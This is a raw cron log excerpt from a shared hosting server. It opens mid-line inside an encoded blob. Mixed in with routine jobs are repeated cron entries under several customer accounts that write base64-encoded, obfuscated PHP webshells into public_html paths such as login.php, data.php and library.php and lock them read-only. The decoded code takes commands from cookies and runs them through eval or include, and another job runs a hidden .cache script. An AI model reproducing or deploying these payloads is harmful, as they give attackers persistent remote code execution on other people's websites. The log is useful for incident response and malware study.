AgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:46:02 medusa CROND[27432]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:46:02 medusa CROND[27433]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:46:02 medusa CROND[27437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:46:02 medusa CROND[27449]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:46:02 medusa CROND[27450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:46:02 medusa CROND[27451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:46:02 medusa CROND[27452]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:46:02 medusa CROND[27453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:46:02 medusa CROND[27456]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:46:02 medusa CROND[27461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:47:01 medusa CROND[14941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:47:01 medusa CROND[14942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:47:01 medusa CROND[14943]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:47:01 medusa CROND[14944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:47:01 medusa CROND[14945]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:47:01 medusa CROND[14954]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:47:01 medusa CROND[14956]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 12:47:01 medusa CROND[14963]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:47:01 medusa CROND[14962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:47:01 medusa CROND[14967]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:47:02 medusa CROND[14968]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:47:02 medusa CROND[14975]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:47:02 medusa CROND[14976]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:48:02 medusa CROND[32304]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:48:02 medusa CROND[32386]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:48:02 medusa CROND[32389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:48:02 medusa CROND[32393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:48:02 medusa CROND[32396]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:48:02 medusa CROND[32394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:48:02 medusa CROND[32392]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:48:02 medusa CROND[32395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
